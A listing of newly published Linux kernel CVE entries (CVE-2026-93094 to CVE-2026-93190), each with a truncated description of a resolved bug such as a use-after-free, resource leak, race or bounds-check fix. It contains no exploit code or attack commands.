CVE-2026-93094	New						In the Linux kernel, the following vulnerability has been resolved: wifi: ath12k: fix dp_link_peer dangling references on AP vdev rollback ath12k_mac_vdev_create() for an AP vdev creates the bss self-peer via ath12k_peer_create(), which finishes by calling ath12k_dp_link_peer_assign() to publish the dp_link_peer in the dp_hw->dp_peers[peerid_index] RCU table, in the dp_pee...
CVE-2026-93095	New						In the Linux kernel, the following vulnerability has been resolved: hfsplus: validate thread record before delete key rebuild hfsplus_delete_cat() is called with str == NULL when the last open reference to an unlinked HFS+ hardlink backing inode is closed. In that case, the function finds the catalog thread by CNID and rebuilds the catalog key from thread.nodeName. That r...
CVE-2026-93096	New						In the Linux kernel, the following vulnerability has been resolved: cxl/features: Serialize multi-part Get/Set Feature transfers A Get or Set Feature payload larger than the mailbox payload size is split into several mailbox commands. mbox_mutex only serializes individual mailbox commands and is dropped between iterations of these loops. Nothing serializes the multi-part t...
CVE-2026-93097	New						In the Linux kernel, the following vulnerability has been resolved: cxl/mbox: Break poison list loop on an empty payload A device that returns count == 0 with CXL_POISON_FLAG_MORE set on every iteration never advances nr_records, so the max_errors guard never trips and the do/while loops forever while holding poison.mutex. That hangs the sysfs-triggered scan thread and blo...
CVE-2026-93098	New						In the Linux kernel, the following vulnerability has been resolved: rpmsg: glink: fix deadlock in endpoint destroy during driver detach During driver detach, the device core holds the device mutex throughout the driver's remove callback chain. When the rpmsg endpoint is destroyed as part of that teardown, the GLINK endpoint destroy implementation attempts to unregister th...
CVE-2026-93099	New						In the Linux kernel, the following vulnerability has been resolved: fs/resctrl: Fix UAF from worker threads when domains are removed The mbm_handle_overflow() and cqm_handle_limbo() workers read event counters and may sleep while doing so. They are scheduled via delayed_work embedded in struct rdt_l3_mon_domain. Architecture allocates and frees these domains from CPU hotpl...
CVE-2026-93100	New						In the Linux kernel, the following vulnerability has been resolved: fs/resctrl: Prevent use-after-free in rdtgroup_kn_put() A struct rdtgroup is reference counted via rdtgroup::waitcount. Callers that need the structure to remain valid across a sleep (while waiting on acquiring rdtgroup_mutex) take a reference with rdtgroup_kn_get() and release it with rdtgroup_kn_put(). ...
CVE-2026-93101	New						In the Linux kernel, the following vulnerability has been resolved: media: v4l2-async: Unregister sub-device if asc_list is empty When my em28xx USB device that uses the i2c tvp5150 driver is disconnected, it crashes. The cause is that the tvp5150 i2c module uses v4l2_async, but the em28xx driver does not since it predates v4l2_async. In that corner case sd->asc_list is ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93102	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/hfi1: Free RX data on late probe failure hfi1_init_dd() allocates the shared AIP/VNIC RX support before returning. If hfi1_init() or hfi1_register_ib_device() later fails, init_one() tears down the device data without calling hfi1_free_rx(). This leaks netdev_rx and its dummy netdev. Free the RX supp...
CVE-2026-93103	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/hfi1: Preserve unit 0 on allocation failure hfi1_free_devdata() assumes that the device was inserted into the unit table and unconditionally erases dd->unit. If xa_alloc_irq() fails, the zero-initialized unit remains zero, so full cleanup can remove an unrelated device from index 0. Release only the ...
CVE-2026-93104	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/rvt: Return NULL after port allocation failure rvt_alloc_device() deallocates the IB device when its port array cannot be allocated but then returns the pointer to the released allocation. Callers treat any non-NULL value as valid and dereference it, resulting in a use-after-free. Return NULL immedia...
CVE-2026-93105	New						In the Linux kernel, the following vulnerability has been resolved: esp: do not unref managed frag pages in esp_ssg_unref() esp_ssg_unref() releases the page references held on the source scatterlist after the AEAD operation completes. It calls skb_page_unref() on every frag page for an out-of-place transform (req->src != req->dst), and in the error path of esp_output_tai...
CVE-2026-93106	New						In the Linux kernel, the following vulnerability has been resolved: crash_dump: release keyring reference at the correct time restore_dm_crypt_keys_to_thread_keyring() gets a reference to the user keyring before restoring the saved dm-crypt keys. The same keyring reference is then passed to add_key_to_keyring() for each saved key, but add_key_to_keyring() drops that refer...
CVE-2026-93107	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/rxe: Avoid reprocessing the current packet after the QP enters the error state When do_complete() finds the QP in the error state it returns RESPST_CHK_RESOURCE. Before commit 49dc9c1f0c7e ("RDMA/rxe: Cleanup reset state handling in rxe_resp.c") this was the flush loop: check_resource() had an error-...
CVE-2026-93108	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/ipoib: Drain RCU callbacks during module teardown IPoIB reclamation completions can be signaled from inside an RCU callback. Teardown can wake before the callback returns and unload ib_ipoib while its code is still executing. Client registration failure can also remove already-added devices and queue...
CVE-2026-93109	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/mlx5: Drain RCU callbacks during module teardown devx_free_subscription() can remain queued after the last DevX event file drops its module reference or an auxiliary driver detaches its devices. mlx5_ib can then unload before the callback runs. Registration error unwind has the same risk because driv...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93110	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/core: Wait for RCU callbacks before unloading ib_core put_gid_ndev() is queued with call_rcu() and implemented in ib_core. Stopping the workqueues does not drain callbacks already queued, so RCU could invoke it after the module code has been unloaded. synchronize_rcu() does not wait for callbacks. Wa...
CVE-2026-93111	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Mark tracing_multi trampolines as ftrace managed Since tracing_multi link does not set ftrace_managed, it would fail to release the tracing_multi link when attaching tracing_multi link and then attaching fentry link. [3.714215] WARNING: kernel/bpf/trampoline.c:1727 at bpf_trampoline_multi_detach+...
CVE-2026-93112	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Require a BPF cpumask for bpf_cpumask_populate() bpf_cpumask_populate() writes to its destination with bitmap_copy(), but the destination is typed as struct cpumask *. That allows the verifier to accept borrowed cpumask pointers returned by read-only kfuncs, such as scx_bpf_get_online_cpumask(), as a ...
CVE-2026-93113	New						In the Linux kernel, the following vulnerability has been resolved: clk: qcom: camcc-sc8280xp: unregister CAMCC_GDSC_CLK With the introduction of sync_state support in the clk and pmdomain subsystems, the following warning happens when the unused clocks are shutdown in camcc-sc8280xp: [15.408367] titan_top_gdsc status stuck at 'on' [15.408429] WARNING: drive...
CVE-2026-93114	New						In the Linux kernel, the following vulnerability has been resolved: platform/surface: acpi-notify: Check ACPI companion before use Since every platform driver can be forced to match a device that doesn't match its list of device IDs because of device_match_driver_override(), platform drivers that rely on the existence of a device's ACPI companion object should verify its p...
CVE-2026-93115	New						In the Linux kernel, the following vulnerability has been resolved: platform/mellanox: mlxbf-pmc: Check ACPI_COMPANION() against NULL Every platform driver can be forced to match a device that doesn't match its list of device IDs because of device_match_driver_override(), so platform drivers that rely on the existence of a device's ACPI companion object need to verify its ...
CVE-2026-93116	New						In the Linux kernel, the following vulnerability has been resolved: platform/x86: asus-wmi: fix resource leaks on probe failure During driver initialization in asus_wmi_add(), various subsystems are registered sequentially. However, the error path labels are out of order relative to the registration sequence. Specifically: 1. If asus_wmi_custom_fan_curve_init() fails, the...
CVE-2026-93117	New						In the Linux kernel, the following vulnerability has been resolved: usb: fix UAF when probe runs concurrent to dyn ID removal Dynamic IDs are only guaranteed to be valid when usb_dynids_lock is held, as remove_id_store can free the node. Thus, make a copy in usb_probe_interface. Clarify the documentation that the id parameter is only valid during the probe. USB serial has...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93118	New						In the Linux kernel, the following vulnerability has been resolved: usb: gadget: aspeed_udc: check endpoint DMA allocation ast_udc_probe() allocates a coherent DMA buffer used as the backing store for endpoint buffers. ast_udc_init_ep() derives per-endpoint buffer pointers from udc->ep0_buf, so a failed allocation is dereferenced during probe. Check the allocation before ...
CVE-2026-93119	New						In the Linux kernel, the following vulnerability has been resolved: usb: ljca: bound bank_num in ljca_enumerate_gpio() ljca_enumerate_gpio() reads desc->bank_num from the device and loops valid_pin[i] = get_unaligned_le32(...) for i < bank_num. valid_pin[] holds only LJCA_MAX_GPIO_NUM / 32 = 2 entries. Two checks run before the loop. The reply length must match struct_siz...
CVE-2026-93120	New						In the Linux kernel, the following vulnerability has been resolved: usb: gadget: configs: fix out-of-bounds read of qw_sign os_desc_qw_sign_show() passes OS_STRING_QW_SIGN_LEN as the input length to utf16s_to_utf8s(), but that argument counts UTF-16 code units while OS_STRING_QW_SIGN_LEN (14) is the byte size of qw_sign[]. The array holds only OS_STRING_QW_SIGN_LEN / 2 (7...
CVE-2026-93121	New						In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_fs: Fix fence cleanup in ffs_dmabuf_transfer() error paths The error paths for endpoint-disabled (ESHUTDOWN) and request-allocation failure (ENOMEM) in ffs_dmabuf_transfer() jump to err_fence_put which calls dma_fence_put() on the fence. However, at that point the fence has only been kcalloc...
CVE-2026-93122	New						In the Linux kernel, the following vulnerability has been resolved: usb: gadget: uac: validate rate list length before storing UAC1 and UAC2 configs rate-list attributes parse a comma-separated list of sampling rates and store each parsed value in fixed-size arrays. The arrays have UAC_MAX_RATES entries, but the store paths do not check that the input contains at most tha...
CVE-2026-93123	New						In the Linux kernel, the following vulnerability has been resolved: serial: qcom-geni: do not advance stale DMA completions The qcom GENI serial DMA TX completion path advances the transmit fifo by the number of bytes recorded in port->tx_remaining. If uart_flush_buffer() runs after the hardware has completed a DMA transfer but before the DMA completion interrupt has been...
CVE-2026-93124	New						In the Linux kernel, the following vulnerability has been resolved: platform/x86: asus-wireless: Fail probe when there is no ACPI match Every platform driver can be forced to match a device that does not match its list of device IDs because of device_match_driver_override(), so platform drivers that rely on the existence of a device ACPI companion object need to verify its...
CVE-2026-93125	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Reject rdonly/rdwr_buf_size kfunc arguments that exceed u32 max check_kfunc_args() detects a kfunc argument named rdonly_buf_size or rdwr_buf_size and stores reg->var_off.value into meta->r0_size, a u64, and does not bound it. check_kfunc_call() later copies that value into the returned register's mem...
CVE-2026-93126	New						In the Linux kernel, the following vulnerability has been resolved: remoteproc: qcom_q6v5_adsp: Fix reference leak for device node When calling of_parse_phandle_with_args(), the caller is responsible to call of_node_put() to release the reference of device node. In adsp_map_carveout, it does not release the reference.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93127	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Drop scalar id on sign-extending narrowing stack fills When a spilled scalar is filled back with a sign-extending narrowing load (BPF_MEMSX), check_stack_read_fixed_off() copies the spilled register including its scalar id, but coerce_reg_to_size_sx() then sign-extends the filled register's value. If ...
CVE-2026-93128	New						In the Linux kernel, the following vulnerability has been resolved: platform/x86: lg-laptop: Fix LED resource handling The event notification callback might access kbd_backlight even when it was not successfully registered with the LED subsystem. The same happens inside acpi_remove(), where the LED devices are unregistered unconditionally. Fix this by tracking the availab...
CVE-2026-93129	New						In the Linux kernel, the following vulnerability has been resolved: platform/x86: dell-wmi-base: Fix handling of ultra performance key The commit message of commit 5fbd827eb9c2 ("platform/x86: dell-wmi: Recognise or support new switches") states that the ultra performance key contains additional data after the type and code fields. The event data passed to dell_wmi_process...
CVE-2026-93130	New						In the Linux kernel, the following vulnerability has been resolved: platform/x86: dell-wmi-base: Fix resource leak on module load failure We need to properly clean up the SMBIOS request and the privacy driver when the module load fails.
CVE-2026-93131	New						In the Linux kernel, the following vulnerability has been resolved: platform/x86: dell-privacy: Fix race condition Accessing priv->features_present needs to happen with the list mutex being held, otherwise priv can be freed at any moment.
CVE-2026-93132	New						In the Linux kernel, the following vulnerability has been resolved: ACPI: RISC-V: Fix riscv_acpi_add_prt_dep() loop handling The loop in riscv_acpi_add_prt_dep() includes error conditions that are handled in a dubious - if not outright wrong - way, by continuing the loop (which skips and misses the entry pointer update to point to the next entry). Rewrite the loop as a ...
CVE-2026-93133	New						In the Linux kernel, the following vulnerability has been resolved: ACPI: RISC-V: Check acpi_get_handle() status in riscv_acpi_add_prt_dep() In riscv_acpi_add_prt_dep(), the acpi_get_handle() call can fail which would leave link_handle uninitialized. Fix it by checking the acpi_get_handle() return status and skip the entry if it fails.
CVE-2026-93134	New						In the Linux kernel, the following vulnerability has been resolved: printk: Fix possible console use-after-free When emitting a record via legacy printing, it is possible that a handover to another legacy printing context occurs. When a context has performed a handover, the console SRCU read lock is released and the pointer to the console struct might now be invalid. There...
CVE-2026-93135	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Reject programs with inlined helpers if JIT is not available When an architecture (such as LoongArch, ARM64, and RISC-V) implements bpf_jit_inlines_helper_call(), the verifier skips rewriting the helper call offset (insn->imm) in bpf_do_misc_fixups(). This is because the helper is expected to be inlin...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93136	New						In the Linux kernel, the following vulnerability has been resolved: bus: mhi: ep: Fix device refcount leak in the error path of MHI device creation mhi_ep_create_device() takes one device reference for the UL channel and another for the DL channel after allocating the transfer device. These references are normally released by mhi_ep_destroy_device() before the device itself...
CVE-2026-93137	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Fix use-after-free on mm_struct in bpf_find_vma() bpf_find_vma() reads task->mm and calls mmap_read_trylock(mm) without holding a reference on the mm. On a foreign task, a concurrent exit_mm() can free the mm_struct between the lockless read and the trylock, resulting in a use-after-free. mm_struct is...
CVE-2026-93138	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Fix vmlinux BTF prep race in bpf_get_btf_vmlinux bpf_get_btf_vmlinux() lazily parses the vmlinux BTF under the bpf_verifier_lock, but publishes the result through a plain store and re-checks it through a plain lockless load. Nothing orders the stores initializing the struct btf inside btf_parse_vmlinu...
CVE-2026-93139	New						In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/mes: Fix hung_queue_db_array loop limit for multi-XCC The loop iterated only AMDGPU_MAX_MES_PIPES times, leaving entries uninitialized for multi-XCC GPUs. This causes null pointer dereferences when accessing arrays indexed by XCC ID >= 2. Extend the loop to cover all XCCs (AMDGPU_MAX_MES_PIPES *...
CVE-2026-9314	New						Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.
CVE-2026-93140	New						In the Linux kernel, the following vulnerability has been resolved: udf: Mark LVID buffer as uptodate before marking it dirty When an I/O error occurs while writing the Logical Volume Integrity Descriptor (LVID) buffer to the block device, the block layer's completion handler (end_buffer_write_sync()) clears the 'BH_Uptodate' flag on the buffer. However, the buffer still...
CVE-2026-93141	New						In the Linux kernel, the following vulnerability has been resolved: usb: gadget: r8a66597: avoid double free of ep0_req in probe error path If usb_add_gadget_udc() fails, r8a66597_probe() jumps to err_add_udc and frees ep0_req, then falls through to clean_up2 where ep0_req is freed again when it is non-NULL. Remove the redundant free from err_add_udc and keep the cleanup ...
CVE-2026-93142	New						In the Linux kernel, the following vulnerability has been resolved: thermal/drivers/rcar: Fix error checking in probe() This code accidentally calls thermal_zone_device_enable() before checking whether thermal_zone_device_register_with_trips() failed. Move the call until later to avoid an error pointer dereference of "priv->zzone". The driver works differently depending o...
CVE-2026-93143	New						In the Linux kernel, the following vulnerability has been resolved: staging: media: ipu7: fix pm_runtime refcount leak in ipu7_resume() ipu7_resume() calls pm_runtime_get_sync() before resuming the device. If the runtime PM resume fails, the usage count remains incremented, but the error path returns without dropping the reference. Use pm_runtime_resume_and_get() instead,...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93144	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Reject writes through untrusted BTF pointers check_ptr_to_btf_access() lets program-type btf_struct_access callbacks validate writes before the default BTF access path rejects non-read accesses. That bypasses the read-only policy for untrusted BTF pointers created by helpers such as bpf_rdonly_cast()...
CVE-2026-93145	New						In the Linux kernel, the following vulnerability has been resolved: clk: qcom: gdsc: tear down per-domain genpds in gdsc_unregister() gdsc_unregister() removes the OF provider entry and tears down the parent/subdomain wiring, but never calls pm_genpd_remove() on the individual generic_pm_domain structures registered by gdsc_init(): void gdsc_unregister(struct gdsc_desc *...
CVE-2026-93146	New						In the Linux kernel, the following vulnerability has been resolved: time/namespace: Validate nanosecond field in proc_timens_set_offset() The function validates tv_sec to be within [-KTIME_SEC_MAX, KTIME_SEC_MAX] but never validates that tv_nsec is within the valid range of [0, NSEC_PER_SEC-1] before using it in timespec64_add(). timespec64_add() expects both timespec64 s...
CVE-2026-93147	New						In the Linux kernel, the following vulnerability has been resolved: s390/bpf: Replace ly instruction with llgf cpu_nr is a 32 bit value and BPF_REG_0 is a 64 bit register, when ly loads the cpu_nr into BPF_REG_0 it does not zero the upper bits, but llgf does.
CVE-2026-93148	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Reject MEM_ALLOC BTF accesses past object bounds BTF struct walks relax the struct-size check for accesses through a trailing flexible array. That is valid for ordinary BTF type walking, but PTR_TO_BTF_ID MEM_ALLOC values point to objects allocated with the static BTF type size. When walking a MEM_...
CVE-2026-93149	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211_hwsim: avoid NULL skb in stop queue drain mac80211_hwsim_stop() drops any frames left in data->pending. The loop currently checks skb_queue_empty() and then dequeues separately. That split is racy with TX status handling, which can remove a pending frame under the queue lock. If the last en...
CVE-2026-93150	New						In the Linux kernel, the following vulnerability has been resolved: cgroup/cpuset: Make nr_deadline_tasks an atomic_t The nr_deadline_tasks variable in the cpuset structure was introduced by commit 6c24849f5515 ("sched/cpuset: Keep track of SCHED_DEADLINE task in cpusets"). It is reported by sashiko [1] that nr_deadline_tasks can currently be modified by inc_dl_tasks_cs() ...
CVE-2026-93151	New						In the Linux kernel, the following vulnerability has been resolved: nvmet-rdma: fix response resource leak on queue teardown When an nvme target with rdma transport is removed while I/Os are in flight, a response can be posted but its send completion is never delivered before the connection is torn down. As a result nvmet_rdma_send_done() and nvmet_rdma_release_rsp() are n...
CVE-2026-93152	New						In the Linux kernel, the following vulnerability has been resolved: nvme-apple: Use acquire/release for queue enabled state apple_nvme_init_queue() initializes queue state and then marks the queue enabled. The interrupt and request paths check enabled before using that queue state. The old wmb() after WRITE_ONCE(enabled, true) does not publish the earlier initialization b...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93153	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/bng_re: return a timeout when firmware responses stall __wait_for_resp() documents that it returns a non-zero error when a firmware command does not complete, and bng_re_rcfw_send_message() already marks the firmware as stalled when the helper returns -ENODEV. However, the helper ignores wait_event_t...
CVE-2026-93154	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/irdma: Add refcounting to user ring MRs Prevent userspace from deregistering the MRs that back QP/CQ/SRQ rings by bumping the MR's refcount upon association.
CVE-2026-93155	New						In the Linux kernel, the following vulnerability has been resolved: crypto: keembay - Fix AEAD unregister count in error path register_aes_algs() registers the AEAD algorithms before registering the skcipher algorithms. If skcipher registration fails, the function unwinds the earlier AEAD registration with crypto_engine_unregister_aeads(), but it passes ARRAY_SIZE(algs), ...
CVE-2026-93156	New						In the Linux kernel, the following vulnerability has been resolved: crypto: rk3288 - fail ahash requests on HASH idle timeout rk_hash_run() waits for RK_CRYPT_HASH_STS to become idle after the final DMA transfer, but ignores the poll result. If the hash engine never becomes idle, the driver still reads the digest registers and finalizes the request with the previous succe...
CVE-2026-93157	New						In the Linux kernel, the following vulnerability has been resolved: hwrng: xilinx-trng - propagate timeout before any data is read xtrng_readblock32() polls for 16-byte chunks but returns the number of bytes read even when the first poll times out. Its caller then treats a zero return as a short successful read, and partial reads for full 32-byte blocks can make the tail c...
CVE-2026-93158	New						In the Linux kernel, the following vulnerability has been resolved: crypto: sa2ul - stop probe if context pool creation fails sa_ul_probe() calls sa_init_mem() to create the DMA pool used for security context buffers, but ignores its return value. If pool creation fails, probe still continues with DMA setup, algorithm registration and child population even though later req...
CVE-2026-93159	New						In the Linux kernel, the following vulnerability has been resolved: crypto: atmel-sha204a - fix heap info leak on I2C transfer failure The nonblocking RNG path allocates a work_data structure to track the state of an in-flight asynchronous I2C request. This pointer is stored in rng->priv and later consumed by the read path once the transaction completes. If the underlying...
CVE-2026-93160	New						In the Linux kernel, the following vulnerability has been resolved: crypto: atmel-ecc - reject hardware ECDH without a public key The hardware ECDH path in atmel_ecdh_compute_shared_secret() uses the private key stored in the device. However, the public key is cached only after atmel_ecdh_set_secret() successfully generated that private key for the current tfm. atmel_ecdh...
CVE-2026-93161	New						In the Linux kernel, the following vulnerability has been resolved: crypto: qat - clear AES key schedule from stack qat_alg_xts_reverse_key() expands the forward XTS AES key on the stack. That schedule contains key material and can remain in the stack frame. Clear the temporary crypto_aes_ctx with memzero_explicit() after the copy.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93162	New						In the Linux kernel, the following vulnerability has been resolved: crypto: qat - cancel work on re-enable SR-IOV timeout The QAT reset worker queues SR-IOV reenable work using a work_struct and completion embedded in an on-stack adf_sriov_dev_data. If the completion wait times out, the reset worker can return while device_sriov_wq still holds or executes the stack-backed ...
CVE-2026-93163	New						In the Linux kernel, the following vulnerability has been resolved: hwrng: core - fix rng list on registration error hwrng_register(rng) does the following: 1. Checks if rng has name and read methods set 2. Checks if the name already exists 3. Adds rng to global rng_list 4. May try to set rng to current_rng If step 4 fails, it returns an error. However, it does not remov...
CVE-2026-93164	New						In the Linux kernel, the following vulnerability has been resolved: uprobes/x86: Move optimized uprobe from nop5 to nop10 Andrii reported an issue with optimized uprobes [1] that can clobber redzone area with call instruction storing return address on stack where user code may keep temporary data without adjusting rsp. Fixing this by moving the optimized uprobes on top of...
CVE-2026-93165	New						In the Linux kernel, the following vulnerability has been resolved: platform/chrome: sensorhub: Fix memory overread in ring handler `max_response` and `sensor_num` are read from different EC commands: - `max_response` is from cros_ec_get_proto_info(). ec_dev->max_response = info->max_response_packet_size - sizeof(struct ec_host_resp...
CVE-2026-93166	New						In the Linux kernel, the following vulnerability has been resolved: wifi: rtw89: debug: fix off by on in rtw89_ppdu_str() This > comparison should be >= to avoid an out of bounds access.
CVE-2026-93167	New						In the Linux kernel, the following vulnerability has been resolved: csky: Fix a4/a5 restoration in syscall trace path The syscall trace path reloads syscall arguments from pt_regs before calling the syscall handler. On C-SKY ABIv2, the 5th and 6th syscall arguments are prepared as stack arguments before invoking syscallid. The current code adjusts sp before loading LSAVE_...
CVE-2026-93168	New						In the Linux kernel, the following vulnerability has been resolved: dmaengine: xilinx_dma: Fix CPU stall in xilinx_dma_poll_timeout Currently when calling xilinx_dma_poll_timeout with delay_us=0 and a condition that is never fulfilled, the CPU busy-waits for prolonged time and the timeout triggers only with a massive delay causing a CPU stall. This happens due to a huge u...
CVE-2026-93169	New						In the Linux kernel, the following vulnerability has been resolved: dmaengine: zynqmp_dma: fix race between runtime PM and device removal In zynqmp_dma_remove(), runtime PM was disabled only after checking state and doing a manual suspend. This can race with runtime PM in the remove/unbind (rmmod) path. Disable runtime PM first, then suspend only if the device is not alre...
CVE-2026-93170	New						In the Linux kernel, the following vulnerability has been resolved: dmaengine: xilinx_dma: Fix channel idle state management in AXIDMA and MCDMA interrupt handlers Fix a race condition in AXIDMA and MCDMA irq handlers where the channel could be incorrectly marked as idle and attempt spurious transfers when descriptors are still being processed. The issue occurs when: 1. M...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93171	New						In the Linux kernel, the following vulnerability has been resolved: leds: lp5860: Fix a potential double-unlock In lp5860_device_init(), if lp5860_init_dt() fails, an already unlocked mutex is unlocked another time. Slightly rework how the lock is taken/released to avoid this potential double unlock.
CVE-2026-93172	New						In the Linux kernel, the following vulnerability has been resolved: mm/mm_init: handle alloc_percpu failure in free_area_init_core_hotplug We miss a failed allocation check for pgdat->per_cpu_nodestats, which results in a NULL deref when we offset into the per-cpu area. Propagate -ENOMEM up the stack and leave per_cpu_nodestats pointing at boot_nodestats so a later online...
CVE-2026-93173	New						In the Linux kernel, the following vulnerability has been resolved: bpf,lsn: Drop bpf_prog_free from sleepable_lsm_hooks __bpf_prog_put_rcu() is the call_rcu() callback for non-sleepable programs. security_bpf_prog_free() called from there fires bpf_prog_free in softirq; if a sleepable LSM prog is attached to that hook, might_fault() BUGs: BUG: sleeping function called ...
CVE-2026-93174	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Copy per-CPU map value padding in copy_map_value_long() In kernel, per-CPU map elements are stored with round_up(map->value_size, 8) bytes. On UAPI lookup paths, it copies the rounded size for each CPU into a temporary buffer. However, copy_map_value_long() passes 'map->value_size' to bpf_obj_memcpy(...
CVE-2026-93175	New						In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Fix dangling pointer in CRTC reset function amdgpu_dm_crtc_reset_state() frees the old state before allocating a new one. If kzalloc() fails, the function returns without updating the state pointer, leaving a dangling pointer to already freed memory. Fix this by allocating the new state f...
CVE-2026-93176	New						In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Fix dangling pointer in plane reset function amdgpu_dm_plane_drm_plane_reset() frees the old state before allocating a new one. If kzalloc() fails, the function returns without updating the state pointer, leaving a dangling pointer to already freed memory. Fix this by allocating the new s...
CVE-2026-93177	New						In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/pm/powerplay: bounds-check voltage index in Vega10 lookup vddlnd, vddclnd and mvddlnd from VBIOS-parsed tables index into vddc, vddci and vddmem lookup tables without bounds checks across nine sites. Return -EINVAL when any index is out of range.
CVE-2026-93178	New						In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/pm/powerplay: bounds-check voltage index in SMU7 lookup vddlnd and vddclnd fields from VBIOS-parsed tables are used to index into voltage lookup tables without a bounds check. Return -EINVAL when any index is out of range.
CVE-2026-93179	New						In the Linux kernel, the following vulnerability has been resolved: drm/amd/powerplay: fix VoltageObjectInfo zero-stride loop and OOB read Reject voltage objects whose usSize is smaller than the header or would advance the cursor past the table end, preventing an infinite loop or heap OOB read when the VBIOS supplies a malformed VoltageObjectInfo table.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93180	New						In the Linux kernel, the following vulnerability has been resolved: drm/panthor: Fix NPD issue on partial unmap of an evicted BO This commit fixes the NULL pointer dereference issue that would have happened on the split of GPU mapping due to partial unmap of an evicted BO. There is a logic to handle the partial unmap of huge pages when the GPU mapping is split. That logic ...
CVE-2026-93181	New						In the Linux kernel, the following vulnerability has been resolved: perf/x86/intel/uncore: Fix uncore_box ref/unref ordering In uncore_event_cpu_online(), uncore_box_ref() was called before uncore_change_context(). uncore_box_ref() gates on box->cpu >= 0, but box->cpu is still -1 at that point because uncore_change_context() has not run yet. As a result, the box is never...
CVE-2026-93182	New						In the Linux kernel, the following vulnerability has been resolved: sched/fair: Fix overflow in update_tg_cfs_runnable() A divide-by-zero crash is observed when running hackbench: [14697.488452] CPU: 112 UID: 0 PID: 124791 Comm: hackbench Not tainted 7.1.0-rc2+ [14697.492627] RIP: 0010:propagate_entity_load_avg+0x35f/0x3e0 [14697.506799] <TASK> [14697.507411]...
CVE-2026-93183	New						In the Linux kernel, the following vulnerability has been resolved: drm/lima: call drm_mm_init() with a valid allocation range lima_vm_create() is currently run before va_start and va_end are set up, meaning they are both 0. lima_vm_create() runs drm_mm_init() with them as arguments for the allocator, and if DRM_DEBUG_MM is enabled the DRM_MM_BUG_ON check in drm_mm_init th...
CVE-2026-93184	New						In the Linux kernel, the following vulnerability has been resolved: ASoC: fsl_audmix: rework runtime PM handling in probe After pm_runtime_enable() the AUDMIX block is powered off and stays suspended until the first runtime resume. Register writes issued between probe() and the first resume (e.g. from DAPM or ALSA control paths) target unpowered hardware and cause a system...
CVE-2026-93185	New						In the Linux kernel, the following vulnerability has been resolved: ASoC: rt700-sdw: always drain jack work on remove rt700_sdw_remove() drains jack_detect_work and jack_btn_check_work only when rt700->hw_init is true. That state bit is cleared by rt700_update_status() when the SoundWire slave becomes UNATTACHED, but a jack work item can already have been queued by rt700_i...
CVE-2026-93186	New						In the Linux kernel, the following vulnerability has been resolved: cxl/mbox: Clamp mailbox output allocation to the payload size CXL_MEM_SEND_COMMAND bounds the user's in.size to the mailbox payload size but leaves out.size unbounded, then cxl_mbox_cmd_ctor() calls kzalloc(out.size). A large out.size drives a huge allocation, above INT_MAX it WARNs and taints, and with p...
CVE-2026-93187	New						In the Linux kernel, the following vulnerability has been resolved: ASoC: SOF: ipc4-topology: Return error for invalid number of formats When the number of input or output formats is zero, sof_ipc4_widget_setup_comp_src() and sof_ipc4_widget_setup_comp_asrc() print an error and jump to the cleanup label. At that point 'ret' is still 0, because the earlier sof_ipc4_get_audi...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93188	New						In the Linux kernel, the following vulnerability has been resolved: HID: roccat: bound device-supplied profile index kone_keep_values_up_to_date() and kone_profile_activated() use an 8-bit, device-supplied profile value as an index into the 5-element kone->profiles[] array without a range check. A malicious USB device claiming the Roccat Kone id can send a switch-profile e...
CVE-2026-93189	New						In the Linux kernel, the following vulnerability has been resolved: HID: core: quiesce input in hid_hw_stop() to prevent use-after-free A driver's probe calls hid_device_io_start() to enable input delivery, then fails at a later initialization step and unwinds via hid_hw_stop(). The unwind frees struct hidraw via hidraw_disconnect() while in-flight HID reports may still be...
CVE-2026-93190	New						In the Linux kernel, the following vulnerability has been resolved: platform/chrome: cros_ec_typec: Reject out-of-bounds PD cap count cros_typec_register_partner_pdos() copies the partner PDOs from the EC TYPEC_STATUS response into the fixed caps_desc.pdo[PDO_MAX_OBJECTS] array. memcpy(caps_desc.pdo, resp->source_cap_pdos, sizeof(u32) * resp->source_cap_count); ...
